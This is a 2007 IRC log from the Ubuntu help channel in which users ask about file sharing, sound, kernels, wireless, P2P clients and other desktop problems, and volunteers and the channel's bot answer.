VuenNapster: purge removes the config files and clears everything. you can also do it using sudo apt-get remove --purge amule06:08
Itakuhttp://imagup.com/img.php?page=img&url=http://www.images-upload.com/images/1168622011_install2.png daftman06:08
Itakuok see you later06:08
mbyI am switching from edgy to feisty now. I got the error when used update-manager , so I tried upgraging with aptitude. My question is , if this was safe and I can now restart my computer now ? :)06:08
Itakudaftman : but It's quiet long to begin the live CD06:08
un_operateurubunut, yes, that looks like a valid line in a crontab -- but make sure that  " hc      /usr/local/bin/afraid.sh" is a valid command first06:08
jribubunut: it should06:08
Napsterafter i must just reinstall normally?06:09
Vuenmby: why on earth did you upgrade to feisty? it's not even close to beta yet.06:09
mrlinuxwhat is the linux version of net use06:09
VuenNapster: yep06:09
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Vuenmby: go to #ubuntu+106:09
jribubunut: I'm assuming hc is the user and you are using /etc/crontab.  Is that correct?06:09
un_operateurmrlinux, smbmount06:09
n2diymby: You should have asked _before_ you did the upgrade.06:09
daftmanItaku: it should be that long you don't partition anything yes I think until you start isntalling06:09
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Itakudaftman : what ,??06:10
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daftmanItaku: try partition with physical06:10
Itakuok06:10
ItakuI will06:10
daftmanItaku, dont worry about Fat3206:10
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daftmanItaku: you can read windows file from linux and you can write to linux drive from windows06:11
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Napsterthat never worked...it still closes straight away06:11
BazyHi guys! I'm tring to set up a pptpd VPN and I'm a getting an error like "pptpd[3688] : Long config file line ignored.", I have another Ubuntu 6.06 that works just fine with the same pptpd.conf......06:12
Napsterany other suggestions?06:12
gh0sthello how can i install custom splash screens?06:12
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un_operateur!usplash > gh0st06:12
mariohello, how to create a network between linux and windows [sharing files/printers etc] ?06:12
daftmanmario: www.ubuntuguide.org06:12
n2diy! samba | mario06:12
ubotumario: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT06:12
un_operateur!samba | mario06:12
daftmanmario: that should help you install samba and set it up06:13
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faeryNatsukihello,06:13
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faeryNatsukii have some problems with sound in edgy, somebody could help me?06:13
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BushedCordesmario: it is dangeruos to interact with computers running windows operating systems-06:13
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phrowzenhow come after upgrading to edgy.. i now cant right click and set my xmms window to always on top?06:13
un_operateurBazy, but are the pptpd versions the same on both machines?06:13
NapsterVuen: its still not working06:13
daftmanwhat's wrong with your sound?06:13
jribphrowzen: what window manager are you using?06:14
mrlinuxun_operateur, i need more info on the smbmount command06:14
gh0st!upsplash06:14
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mariocheers06:14
ubotuSorry, I don't know anything about upsplash - try searching on http://bots.ubuntulinux.nl/factoids.cgi06:14
phrowzenjrib, gnome06:14
gh0stun_operateur: doesn't work06:14
daftmanBushedCordes: No its not! if you are from *nix you have nothing to fear06:14
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faeryNatsukimy problem is i get no sound using java or flash in edgy06:14
gh0stun_operateur: sorry it did06:14
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Xbehaveerm is anybody about knowledgable about beryl compliz?06:14
faeryNatsukiit's not a firefox related issue06:14
jribphrowzen: are you using beryl in gnome?06:14
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BushedCordesdaftman: i was just kidding ;-)06:14
mnoir!beryl | Xbehave06:15
ubotuXbehave: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl06:15
un_operateurmrlinux, google06:15
mnoir!kidding | BushedCordes06:15
ubotuBushedCordes: You may think your joke is funny, but you may confuse new users or irritate people who actually start answering your question :)06:15
daftmanfaeryNatsuki: ah I remember that problem06:15
jribphrowzen: or compiz I guess.  Anything like that?06:15
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cokeslutsup06:15
daftmanfaeryNatsuki: edgy is pretty unstable06:15
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regeya!humorless06:15
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phrowzenjrib, hmm no i dont believe so06:15
ubotuSorry, I don't know anything about humorless - try searching on http://bots.ubuntulinux.nl/factoids.cgi06:15
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BushedCordesmario: i really did not want to confuse you. i just wanted to bash mircrosoft06:15
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Xbehavei know what they are i just wonderd if there are any ubiased / argumentative comparisons06:15
daftmanfaeryNatsuki: try reinstalling flash and java06:15
jribphrowzen: do other windows let you be "on top"?06:15
BushedCordes!botsnack06:15
ubotuYum!06:15
phrowzenjrib, let me check the command i used sec06:15
erUSULdaftman: well, that's personal opinion, isn't it? ;)06:15
phrowzenjrib, yes06:15
faeryNatsukii want to fix the sound, and googling a bit i found i need to edit /etc/asound.conf file or ~/.alsasoundrc but none of them have options! did the sound system changed from dapper to edgy?06:16
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phrowzenjrib, just not xmms now.. it did last night when i was in dapper06:16
faeryNatsukidaftman i did that, but it's not the solution, i had sound before and now i have not06:16
regeyaubotu: no, humorless is when a person is completely lacking in a sense of humor, often lashing out when others attempt (occasionally with some success) to be funny06:16
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daftmanfaeryNatsuki: no sound doesn't change but flash and java might06:16
paquimrocio06:16
striggavuen still there_06:16
paquimola06:16
strigga?06:16
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paquimsxsac.sdh06:16
daftmanfaeryNatsuki: firefox 2.0 is different06:16
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paquimvfgf06:17
paquimolaaaaaaaaaaaaaaaaaaaaa06:17
mariothe problem is that i can access files on the windows machine from ubuntu but i can't access them from windows (other pc)06:17
erUSUL!pt06:17
ubotuPor favor use #ubuntu-br  ou #ubuntu-pt  para ajuda em portugus. Obrigada.06:17
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mnoirregeya: in a group where english may be weak and technical stuff is certainly a challenge, making jokes might not work well06:17
phrowzenjrib, i did issue this command earlier this morning though to try and get gl desktop working.. sudo apt-get install gnome-compiz-manager compiz-freedesktop compiz-freedesktop-gnome (although it still doesnt work yet. gotta fix that too)06:17
paquimola06:17
daftmanmario: check you folder permission06:17
xxhellHey guys06:17
regeyamnoir, thank you for that multicultural lesson, I'll bear it in mind06:17
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mnoirregeya: :)06:17
strigga??06:17
m_tadeuhi everyone06:18
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sexcopter8000i'm working on a very important project at uni and think it would be a good idea to backup the folder to an ftp server I have access to. is this what rsync is for? (I've heard of it but never needed/used it)06:18
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daftmanmario: if you set your folder to chmod 777 foldername then everyone can access it06:18
m_tadeuhas anyone tryed the nforce proprietary drivers?06:18
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faeryNatsukidaftman, but it0's not related to firefox, i have the problem outside firefox, in opera, seamonkey, standalone flash player, using java with swt06:18
jribphrowzen: oh ok.  Well I'm not familiar with the changes that happened in xmms.  But I can tell you that I don't have the "on top" option either.  xmms doesn't seem to use the window manager's title bar.  It has its own.  So when you click you get its menu, not the window manager's.  The only workaround I can think of at the momoent is to use devilspie06:18
un_operateursexcopter8000, all you need is a ftp client really -- gftp for example06:18
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faeryNatsukino sound, and i had kde sound problems before (i use gnome, but some kde apps)06:18
deepsai got black and white wallpaper from picasa06:18
phrowzenjrib, ah ok.. well i can deal its ok06:18
sexcopter8000un_operateur: I guess, yeah. Just wondered if there's a slick automated way.06:18
jribphrowzen: devilspie will probably work well for this.  It lets you create rules like:  any window that is "xmms", put it on top.06:18
un_operateursexcopter8000, errm, therre are some good ftp command line clients that can be scripted (automated) ncftp for example06:19
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phrowzenjrib, on a second note.. do you have an answer or can point me into a direction of how to get my gl desktop properly working? i am using the nvidia driver. just when i go into gl desktop and hit enable gl desktop, i hit apply then close or wahtever.. and if i go back in, its unchecked06:19
antonioosusi ola soy puta06:19
sexcopter8000un_operateur: ok, in that case think I'll stick to gftp =) thanks06:19
antoniooola06:20
jribphrowzen: hey I lied to you.  xmms' menu does have the option but it's kind of hidden.  Can you "right click" > "options" > "always on top" ?06:20
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daftmanfaeryNatsuki: I get that problem sometimes: i think another program is still using the sound device06:20
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daftmanfaeryNatsuki: you can check that06:20
faeryNatsukihow can i check that?06:20
antonioo k me ables en spanis  k no se inglis06:20
jribphrowzen: you can try #ubuntu-xgl, I'm not sure about that06:20
mnoir!es | antonioo06:20
daftmanfaeryNatsuki: check the task manager06:20
ubotuantonioo: Para Espaol por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendrn mas ayuda.06:20
phrowzenjrib, yep.. certainly. that does work, thank you :).. i just used it the other way before, but this works too06:20
phrowzenjrib, alright, thanks06:20
daftmanor in the command line: ps -e06:20
un_operateuris there an XMMS option that's goes like "always hidden"? :)06:21
faeryNatsukii'll see daftman06:21
daftmanfaeryNatsuki: you migh have some zombie process hoggin up the sound device06:21
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mariothe thing im trying to share is the printer and i already set it as shared06:21
cappizis it possible to have a kind of encryption, which allows the home folder to be mounted on login... several users on same dev06:21
cappiz?06:21
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Napsterhi. my amule, when i start it, pops up and closes imediatly...wat can i do?06:22
daftmanmario: have you check out www.ubuntuguide.org?06:22
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mnoir!elaborate | cappiz06:22
gameoverhi everyone...06:22
ubotucappiz: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)06:22
YayBuntuIs there any kind of program with a GUI interface that works like Netlimiter, just for Ubuntu?06:22
gameoversome help printing plz.... foomatic-rip failed"06:22
faeryNatsukidaftman: but i have the other sounds working06:22
daftman!ask | mario06:22
ubotumario: Don't ask to ask a question. Just ask your question :)06:22
un_operateurcappiz, you can have encrypted file systems .. and have /home encrypted ..sure06:22
faeryNatsukignome have sound and amarok is working now06:22
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faeryNatsukiand flash 7 works through aoss sound wrapper06:23
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daftmanfaeryNatsuki: yea I know, it is annoying. I can suggest you to reinstall java and flash may be?06:23
mariodaftman yes check the guide06:23
daftmanfaeryNatsuki: you can't watch youtube year?06:23
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cappizun_operateur, but will it be mounted when a user logs in06:23
mariochecked*06:23
cappiz?06:23
daftmanmario: so what is the problem?06:24
cappizi want the home folders to only be mounted when they are logged in.06:24
daftmanmario: you can't share the file?06:24
un_operateurcappiz, if you have an entry for the filesystem in /etc/fstab .. it will be mounted when the computer is started up before any of the users log on06:24
faeryNatsukii can see youtube and i get sound using flash 7 plugin, but switching to flash plugin 9 crashes06:24
cappizun_operateur, thats not what i want ;D06:24
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faeryNatsukijava has no sound, and kde-apps sound often works... often don't works06:24
marioi go to system > admin > printing set the printers as shared06:24
daftmanfaeryNatsuki: ah then its flash 906:24
daftmanfaeryNatsuki it is still in beta mode06:24
mariobut they don't show up in the network (windows)06:25
un_operateurcappiz, ok and why not?06:25
cappizi only want the home folders to be mounted when they are logged in on the system06:25
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daftmanmario: printer share in system admin only share through linux machine06:25
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daftmanmario: in order for you to share through windows network you need to activate it in samba06:26
un_operateurcappiz, well, errm, if it's a desktop -- you start a system to log on to it and use it right -- whats wrong with having a disk mounted before the user logs on .. it saves some hassle06:26
Zeldahello everyonje.06:26
Zeldaer everyone06:26
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daftmanmario: check samba.conf in /etc/samba/06:26
faeryNatsukibut flash 9 worked before06:26
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faeryNatsukiweird (T_T)06:26
ZeldaCan someone help me remove icons off the desktop?06:26
cappizyeah wel... im paranoid :P06:27
daftmanfaeryNatsuki: I don't think flash 9 is a stable yet. I am still using flash 706:27
faeryNatsukiZelda: what do you mean with remove icons?06:27
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cyphaseZelda: which icons?06:27
un_operateurcappiz, normal users cannot normally mount disks (atleast not so that they can be shared and used by multiple users) .. and if the filesystem is encrypted, you have nothing to worry about ..err, why else would you encrypt a file system?06:27
asdf_how do I get a newer kernel, like 2.6.19 rather than use 2.6.17 ?06:27
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faeryNatsukime too, but we often need flash 9 to work06:27
Napstermy amule is still not working...does anyone have any suggestions on wat i can do?06:27
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faeryNatsukiZelda?06:27
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ZeldaI have two icons on my desktop that when I installed ubuntu, I dont want. I dont know how to get rid of them. The icons are Computer, and My Home06:28
daftmanfaeryNatsuki: then you can kick adobe's ass06:28
cappizbut can different users use the same encrypted device?06:28
faeryNatsukiNapster: maybe install emule through wine, works better than amule06:28
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cappizlike /home/cappiz /home/un_operateur06:28
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Napsteri dont want wine...it slows down the performance of the machine06:28
un_operateurcappiz, yes, if it is mounted by root via /etc/fstab .. not otherwise06:28
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cyphaseZelda: by default there are no icons on the desktop06:28
faeryNatsukiZelda: do you mean you don't want any icon in your deskop?06:28
Zelda!ati06:28
ubotuTo install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto06:28
faeryNatsukior just remove them?06:28
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daftmanmario: http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_print_on_remote_Ubuntu_machine_from_another_Ubuntu_machine06:29
Akuma_Zelda: go in gconf-editor -> apps -> nautilus ->desktop06:29
cyphaseZelda: but you can remove Computer and Home06:29
ZeldaWell, I have Linux Mint Bea06:29
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cyphaseZelda: what Akuma_ said06:29
faeryNatsukiNapster: emule through wine is faster than amule itself06:29
cappizif both those folders is located at the same device... they wil both get mounted at the same time?06:29
Zeldacyphase: thanks06:29
Vegeta^When I plugged an USB memory key in my computer, it could be automatically detected and could be accessed as normal user, but now it needs a root user to mount and acces it and be able to copy/write to it. How can I change it back to the way it was before?06:29
cyphaseZelda: uncheck them all06:29
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mnoirZelda: this is #ubuntu - not #linuxmint06:29
tim167how do I get ls to show the complete path for each file listed ?06:29
bronze_0_1Vegeta^: what did u change on your system?06:29
salah__any good music library programs for ubuntu? rhythmbox is any good06:29
faeryNatsukiZelda, look each one, you can disable each icon, or disable the desktop drawing feature,06:30
bronze_0_1tim167: it cant06:30
un_operateurcappiz, it's not the folders that will be mounted .. rather the disk that they reside on .. and since a device can only be mounted at once, it will happen "at the same time" :)06:30
cyphasesalah__: are you asking about rhytmbox, or did you mean to say it isn't any good?06:30
cyphaserhythmbox*06:30
faeryNatsukiZelda if you disable the draw desktop you have things in the Desktop folder, but you have no icons in the desktop06:30
tim167bronze_0_1: any command that can ?06:30
cappizthats what i thought :)06:30
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Jmh0403Can someone help me install mplayer?06:30
bronze_0_1tim you would need to use something like find for that06:30
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k010if i compile a 2.6.19 kernel and patch it with 2.6.20-rc4 would it be able to run kvm??06:30
salah__cyphase, it isn't good.. I don't like it at all, so is there any others?06:30
Napsteri dont like emule though. wat about limewire?06:30
Napsterdoes that work?06:30
tim167bronze_0_1: ok!06:30
asdf_how do I run a more updated kernel on ubuntu? apt-cache search kernel | grep 2.6 only shows tthe .17 series06:30
un_operateurk010, you might ruin the kernel if you do that06:30
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salah__Napster, yes06:30
Zeldahrmm. I think I dont know.06:30
cyphasesalah__: amarok, listen, banshee, and others06:30
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mnoirfaeryNatsuki: zelda is not  running ubuntu so your answer might not be the same for her...06:31
tim167salah__: amarok06:31
salah__cyphase, thanks06:31
cyphasesalah__: but what don't you like about rhytmbox06:31
k010un_operateur, what do u mean?06:31
faeryNatsukiNapster: we have her working the emule in wine in an old machine, a Dell Optiplex GX1, 450MHz processor and it works very well06:31
cyphaserhythmbox*06:31
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ZeldaAnd Linux Mint is Ubuntu with added codecs.06:31
cappizthen ill make a 10GB file and mount that instead :)06:31
k010Napster, have u tryd frostwire06:31
mnoirZelda: and possibly other changes06:31
salah__cyphase, the options are very little, and the way it stores music + I want to rate my music06:31
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Zeldapossible06:31
foobariancyphase, my biggest issue with it is no filesystem view, and no tags06:31
un_operateurk010, don't apply patches to applications they arent meant for .. in your case dont patch 2.6.19 with 2.6.20-rc406:32
Vegeta^bronze_0_1: Actually I didn't change anything, only that I accidentally closed the loading window, that appears when the device is plugged in...06:32
cyphasesalah__: you can rate your music in rhythmbox, just so you know06:32
mnoirZelda: so the support here COULD be wrong :)06:32
Zeldaits based on ubuntu 6.10(edgy) though06:32
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salah__cyphase, how?06:32
mnoirZelda: so?06:32
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bronze_0_1Vegeta^:  hmm. no idsea here06:32
faeryNatsukiNapster Optiplex user says me emule starts three or four times faster than emule, but if you like somethjng different to emule/amule, limeware is OK, a little slow, because it's java06:32
k010un_operateur, i thought thats how u patch judging from the guide im reading06:32
faeryNatsukisorry emule faster than amule06:33
k010un_operateur, here it says u shud not patch kernel say 2.6.19.1 with 2.6.20-rc406:33
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cyphasesalah__: you could open the properties dialog of the song, or you could add a ratings column ivia the preferences dialog06:33
cyphasesalah__: or from the music-applt06:33
k010un_operateur, but 2.6.19 its fine06:33
un_operateurk010, errrm, thats what i said too, no?06:33
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BushedCordesfaeryNatsuki: gtk-gnutella 4ever06:33
cyphasemusic-applet*06:33
mehdisalut06:33
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mehdihello every body06:34
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k010un_operateur, im gonna patch 2.6.19 with 2.6.20-rc406:34
BushedCordesmehdi: slt06:34
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un_operateurk010, errm, well, it might work but might not work either .. you  can try it out by all means but "you have been warned"06:34
bronze_0_1tim167: look for the %P or %p or %H stuff in the printf function for find06:34
faeryNatsukii tried gnutella, but that kind of networks are really slow, a long queue for a few bytes :(06:34
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daftmank010: lol make sure you have a back up06:34
k010un_operateur,  might as well hey. thx for the warning06:34
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cyphasefaeryNatsuki: gnutella for small files, bittorrent for bigger files06:35
faeryNatsukiNapster... what about torrents?06:35
cyphasefaeryNatsuki: works for me06:35
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tim167bronze_0_1: thanks , I was about to ask :)06:35
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bronze_0_1long man page isn't it? :-)06:35
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Napsterwhere can i get frostwire?06:35
Napsterdont like torrents06:35
k010un_operateur, it might fix some of the acpi issues i been having06:35
daftmangoogle06:35
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faeryNatsukii used torrent for discographyes and big collections, works very good06:35
WickentreeI need help concerning the GRUB boot loader06:35
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tim167bronze_0_1: my favorite evening literature ;)06:36
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mnoir!frostwire | Napster06:36
ubotuNapster: frostwire is a totally open source version of Limewire.  For installation help, please see https://help.ubuntu.com/community/FrostWire06:36
bronze_0_1heh.06:36
k010Wickentree, install grub to ur boot partiton06:36
daftmanWickentree: what is the problem?06:36
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faeryNatsukiNapster, torrents are the fastest p2p technology currently available, no more than 2 minutes waiting for start a download, and the download don't stop until you complete the torrent06:36
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k010Wickentree, or say install grub /dev/hda06:36
un_operateurk010, well, the way i see it .. the changes of code are most radical within kernel development .. major changes happen even in the smallest revisions .. and given that patches change code at specific locations within the source, you might be breaking stuff06:36
knightcan i replant /usr to any other partition?06:37
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knightcan i replant /usr to any other partition?06:37
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neghsmokewhy would fglrxinfo say xlib: extension "xfree86-dri missing on display"06:37
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mnoirknight: what do you mean?06:37
un_operateurk010, in this instance it is almost like applying a patch written for application A  on application B06:37
Napsterwat torrent program u suggest and where can i get the torrents from?06:37
knightive got less space in / , so i want to change /usr directory to save space06:38
k010un_operateur, isnt the other way around06:38
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k010un_operateur, ur patching 2.6.19 with 2.6.2006:38
mnoirknight: so you will mount a new filesystem at /usr?06:38
knightmnoir:  ive got less space in / , so i want to change /usr directory to save space06:38
un_operateurk010, bahh, you get the point ..06:38
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ZaggynlAnyone knows if there is an IRC channel for Ftd4Linux ?06:38
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Bartekhey guys. sorry for bothering with stupid questions but... do I need something in kernel in order to connect to a camera via usb ?06:38
k010un_operateur,  well its dled so i tell u how it goes06:39
faeryNatsukiNapster, for torrents you have two options, look for then in placeslike thepiratebay.org or look for torrent trackers ant communities, they're specialiced in what you want and often have rules to warranty people is sharing files06:39
knightmnoir: just to edit fstab?06:39
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faeryNatsukithen look for example for anime tracker, and you find some06:39
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Napsterwat torrent manager though?06:40
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mnoirknight: no - it is more complicated - /usr is a very important fdir so you will need to copy and remount, from another os like live cd06:40
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mnoirknight: wait a sec06:40
paitarthow do i send faxes on ubuntu 6.06?06:40
faeryNatsukii use utorrent trough wine, but i used azureus too and it is a good torrent client06:40
daftmanBartek: no it depends if your camera is supported06:40
k010Napster, use bittyrant06:40
knightmnoir: is it ok if i start a new partition for /usr ext3?06:40
k010i heard it supposed to be faster06:40
Napsterwhere cani get it from?06:41
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Bartekdaftman:: it looks like gphoto2 supports it but either Im wrong or I have something messed up in the system06:41
k010Napster, google bittyrant06:41
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juanhow do i set up a dilup connection?06:42
faeryNatsukiNapster: or search in synaptic about torrent clients, maybe there's some packages that help you06:42
Bartek gphoto2 -a  shows: Abilities for camera: Olympus C-370Z06:42
itanshiwell hello, i still have wifi problems despite this: http://paste.ubuntu-nl.org/1324/06:42
mnoirknight: start by reading this: http://ubuntuforums.org/showthread.php?t=7398106:42
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YayBuntuWould a SATA-USB converter work under Ubuntu?06:42
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faeryNatsukii have to go06:42
Bartekdaftman:: it is a different model, but it is present. does it matter?06:42
mnoirknight: yes is ok but READ FIRST06:42
knightmnoir: thanks a lot06:42
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mnoirknight: then ask questions - this can make your system not boot06:43
knightmnoir: thanks a lot06:43
mnoir:)06:43
daftmanBartek: no i don't think it matters: camera is basically known as a flash drive anyway06:43
faeryNatsukidaftman: thanks fort the help, i'll try the asound.conf solution bwefore and after i'll try the java and flash reinstall if nothing works ;)06:43
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psynaps3hi, everytime i update /etc/resolv.conf with my isp's dns servers and reboot, network manager (wireless) overwrites it with my router's ip address. how can i stop this from happening?06:43
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KimmoAWow... lots of people in here.06:43
Bartekdaftman:: first error in debug mode says:  16.040899 context(0): PTP Protocol error, response expected06:43
YayBuntuHave anyone tried one of the converters to plug a SATA harddisk into a USB port? Does it work in Ubuntu?06:44
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mneptokKimmoA: i know your nick ... i think06:44
Bartekdaftman:: and little bit earlier:   16.040816 gphoto2-port(2): Could only read 13 out of 512 byte(s)06:44
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mneptokKimmoA: DALmac?06:44
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itanshiso wifi problems despite: http://paste.ubuntu-nl.org/1324/06:46
itanshiedgy eft06:46
KimmoAmneptok: DALmac?06:46
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paitarthow do i send faxes on ubuntu 6.06?06:46
tim167I still cant get "find" to do what i need: list all files in a directory as file names, each preceded by the complete path they are in...06:46
mneptokKimmoA: thought i had seen your nick there long ago. pardon.06:46
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Bartekanyone?06:47
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Bartekwhat can be the problem here?  16.040816 gphoto2-port(2): Could only read 13 out of 512 byte(s)06:47
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knightmnoir: the site is related to a laptop installed hoary will it do with my desktop?06:48
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asdf_how do I update my ubuntu kernel to 2.6.19 ?06:49
nowherehi, after installing mysql and phpmyadmin i found there are two databases called information schema and mysql. Can they be safely removed? Or are they required for things to work properly?06:49
mnoirknight: the method for moving a dir to a filesystem should be the same :)06:49
j3dimy cron is running from utc instead of the local clock.. why1?!?06:49
asdf_(or something newer)06:49
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kane77hi.. what do you use for internet radios??06:49
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mnoirknight: it only needs very old commands06:49
k010un_operateur, sry to touble u again but is there someway where i can find details on the setting with make menuconfig?06:49
itanshinowhere - my guess is that they are needed, but i'm just waiting for help like you06:50
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tim167ah I found another solution: locate does exactly that, but its very slow...06:50
nowhereitanshi: can you repeat your question, maybe I know the answer.. Don't bother if it's a complicated one :)06:50
itanshik06:50
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itanshihttp://paste.ubuntu-nl.org/1324/ wifi not connecting06:50
itanshiedgy eft06:50
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mnoirknight: here is another article http://linux.about.com/od/linux101/l/blnewbie4_2_12.htm06:51
nowhereitanshi: Maybe it has to do with WPA, are you using it?06:51
j3diis there a way to change cron so it uses the local time instead of UTC?06:51
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mnoirknight: you should read several to really understand so you do not ruin your system06:51
itanshiusing wep06:51
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daftmanBartek06:52
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daftmanYou plug the camera in and it doesn't deteck for you?06:52
itanshiwep is default right?06:52
nowhereitanshi: I really don't know, sorry. Had some trouble with it myself. One of the reason I don't use ubuntu for desktop. WEP isn't really safe......06:52
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Bartekdaftman:: it does detect, it popups and stuff06:52
itanshii know of that security, just want a connection06:52
pollywogwhen I try to add a key with apt-key I get this:06:52
pollywoggpg: no ultimately trusted keys found06:52
pollywogOK06:52
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Bartekdaftman:: I am just unable to connect to the camera with digikam06:52
neghsmokewould anyone be willing to take a look at my xorg log file and try to help me figure out why my fglrxinfo still shows mesa group?06:52
pollywogis there something I can do about it?06:53
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Bartekdaftman:: and I dont know why :(06:53
daftmanBartek: so it pops up like a folder06:53
Bartekdaftman:: yes06:53
ubuntuhi06:53
nowhereitanshi: Ubuntu has WEP for default but if you are not sure you might want to check the other end...06:53
itanshik06:53
ubuntui m india06:53
daftmandigikam?06:53
itanshiwell thanks, i'll keep searching06:53
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daftmanBartek: can you browse the folder?06:53
tim167is it correct that slocate only looks in the cwd when doing slocate *.jpg ??06:54
nowhereitanshi: Btw I found my answer, they can be used as extra instructions.06:54
Bartekdaftman:: yes, I can in nautilus06:54
pradeepnnvwhere will synaptic package manager store the downloaded files06:54
jedrickhow can i mount my windows drive automatically on start up boot?06:54
daftmanBartek: then just copy files you need onto the hard-drive06:54
n2diypradeepnnv: locate *.deb will tell you.06:55
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daftmanjedrick: it should do that as default06:55
erUSUL!ntfs | jedrick06:55
ubotujedrick: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse06:55
knightmnoir: thank u anyway i think its a fierce step06:55
pradeepnnvthank u n2diy bye bye06:55
Bartekdaftman:: I know, I can do that, but digikam offers thumbnails right on the camera, and when you have 200+ copying takes time06:55
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Bartekdaftman:: I'd like to be able to connect via digikam06:55
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n2diypradeepnnv: nada06:56
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jedrick!ntfs-3g06:56
ubotuntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)06:56
daftmanBartek: ah the I can't help you eheheh I haven't used digikam06:56
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mnoirknight: it is a hazard but sometimes you need to do it :)06:56
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tim167is it correct that slocate only looks in the cwd when doing "slocate *.jpg" , while "slocate a*.jpg" searches the complete database...?06:56
daftmanBartek: Doesn't nautilus generate the thumnail?06:56
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neghsmokeAnyone knowledgeable about video card installations? i've tried the how to guides and methods, but it still shows mesa project in fglrxinfo06:57
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Bartekdaftman:: thanks for trying anyway :).06:57
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mnoirknight: if you have 1 sub directory (like /usr/src) that is very big, it may be easier to do06:57
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asdf_how do I run a kernel later than 2.6.17?06:57
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asdf_yo; help a newb please; hwo do I run a kernel later than 2.6.17?06:57
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pistaneghsmoke, are your drivers compatible?, dri06:57
daftmanasdf_: build one :)06:58
neghsmokepista, i don't even know what dri is06:58
neghsmokelet alone whether my drivers are compatible06:58
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knightmnoir: is there any other reference also?06:58
pistatry to find something in /var/log/Xorg.0.log06:58
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neghsmokei am browsing it now06:58
pollywogasdf if you can't find one in Ubuntu sources you could try one from kernel.org06:58
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pollywogI have not done it in Ubuntu yet but it worked in Debian06:58
mnoirknight: many - try google for 'ubuntu move usr to a new filesystem'06:59
knightmnoir: okay06:59
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daftman!kernel06:59
ubotukernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild06:59
psynaps3_wireless in linux is the worst experience i have had till now06:59
mnoirknight:  (thanks rioghal)06:59
tyme-psynaps3, newer distros make it easy to get wireless up and running quickly07:00
psynaps3_tyme-: as in edgy?07:00
tyme-yes07:00
psynaps3_tyme-: i am using edgy :)07:00
psynaps3_tyme-: a default install doesn't support wpa07:00
daftmanpsynaps3_: use gentoo07:01
knightmnoir: anyway if my system is alive see u here.......... :-07:01
mnoir:)07:01
pollywogasdf look what ubotu posted above07:01
mnoirdaftman: are you daft??07:01
tyme-psynaps3, it supports wep i know for sure07:01
pollywogit shows you there how to do it07:01
mneptokpsynaps3_: it does, but you have to know info about the access point07:01
psynaps3_tyme-: so i go n install network manager which is the worst crap i have come across in a long time07:01
daftmannope07:01
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mnoir:)07:01
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tyme- 07:01
neghsmokepista: fglrx module compiled for 7.1.0 module version 8.32.507:01
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neghsmokethere is no LoadModule: for dri07:01
daftmanwhat's wrong with gentoo07:01
asdf_how do I check if kernel 2.6.17 supports the new splice or tee kernel calls?07:01
daftmanit's cutting edge mon07:02
psynaps3_yes it does support wep. not wpa. i have to get wpa_supplicant for that and do all the manual configuration07:02
pistaneghsmoke, no error message?07:02
mnoirdaftman: nothing at all if you have the patience and technical skill for it07:02
neghsmokeEE's?07:02
daftmanasdf_: reading is your friend: check www.kernel.org07:02
tyme-imo a better version that supports wpa is needed for next release07:02
tyme-and it IS being worked on and implimented07:02
neghsmokepista: dri module not loaded error07:02
asdf_how do I check if kernel 2.6.17 supports the new splice or tee kernel calls?07:02
daftmanmnoir: emerge package07:03
n2diyasdf: google.07:03
psynaps3_i really don't get it why network manager was implemented this way. the crap doesn't support static ip's, there's virtually 0 configuration options and it overwrites every setting u put in. i can't even retain my dns server ips!!!07:03
mnoirdaftman: i cut my teeth on machine code and assemblers but i found gentoo waaay too painful for my tastes07:03
pistaneghsmoke, in /etc/X11/xorg.conf in section module have you dri?07:03
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neghsmokelet me check07:04
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Hooblymneptok: OK.  Installed but still just a blinking cursor when booting.07:04
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daftmanlol yea I have a lot of free time on da weekend07:04
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mnoirpsynaps3_: you might want to make some design change requests to the developers07:04
daftmanmnoir: but you do't read every line of code for EVERY packages07:05
amir_!java07:05
ubotuTo install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository07:05
neghsmokepista: i just added it, restard x07:05
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paitartwhat linksys wireless routers are compatible with ubuntu dapper and edgy???07:05
psynaps3_mnoir: there wishlist and buglist is pretty filled up... right from the dapper release07:05
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psynaps3_paitart: i am using a wrt54gl. its working fine07:05
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daftmanlol im staying well away from wireless in linux07:06
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daftmanuntil it works like ethernet cables07:06
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psynaps3_lol07:06
paitartpsynaps, other choices aside from dat model and brand?07:06
siouxhi07:06
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psynaps3_no idea. get the wrt54gl, put the dd-wrt firmware and have peace of mind :)07:07
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siouxI want skypecast for linux!07:07
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sioux>:o07:07
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mnoirdaftman: nice thing about this channel - when the questions die down to some small level for something, then it is time to try it :)07:07
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_caid_Hi, I'm trying to install ubuntu on my amd64 system but things keep freezing up during early stages of the install. If I do thing from a terminal, I tend to get messages like "SQUASHFS error: sb_bread failed reading block". Is my ISO broke or something worse?07:07
familiaHi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please07:07
pike_paitart: wrt54gl the new wrt54g is ok but the l is very good router07:07
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neghsmoke!ati > neghsmoke07:08
zezuhow can i for a debian package to install as 32b on an x64 machine ?07:08
siouxI want skypecast for linux!  >:o07:08
amir_!multiverse07:08
ubotuThe packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource07:08
DoowWhat's a good program if I want to edit a postscript file?07:08
mnoir_caid_: there are md5 sums and a verify function you can use to answer that question07:08
psynaps3_paitart: google wrt54g wikipedia and read through it07:08
